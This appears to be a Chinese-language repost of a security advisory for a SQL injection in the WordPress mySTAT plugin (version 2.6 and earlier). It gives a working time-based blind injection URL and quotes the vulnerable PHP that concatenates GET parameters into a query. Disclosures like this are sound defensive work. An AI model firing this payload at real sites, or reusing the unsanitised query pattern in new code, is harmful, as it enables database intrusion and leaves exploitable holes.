来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 标题: WordPress mySTAT plugin = 2.6 SQL Injection Vulnerability作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)下载地址: http://downloads.wordpress.org/plugin/mystat.......
标题: WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability 作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) 下载地址: http://downloads.wordpress.org/plugin/mystat.2.6.zip 影响版本: 2.6 (已测) 备注: magic_quotes has to be turned off
--- 测试 --- http://www.2cto.com /wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
--------------- 缺陷相关代码 --------------- if(isset($_GET['act'])){ ... if ($_GET['act'] == 'stat_img') { myStat_stat_image(); exit(); }; };
function myStat_stat_image(){ ... if(substr($_GET['d1'],0,10)!=substr($_GET['d2'],0,10)){ $var=$cmn->getSQL("SELECT DATE_FORMAT(date,'%d-%m-%y'),count(*),sum(count),TO_DAYS(date) FROM `%%PREFIX%%myStat_main` WHERE date > ('".$_GET['d1']."') AND date < ('".$_GET['d2']."') GROUP BY TO_DAYS(date) ORDER BY date DESC LIMIT 0,30;");
修复:过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com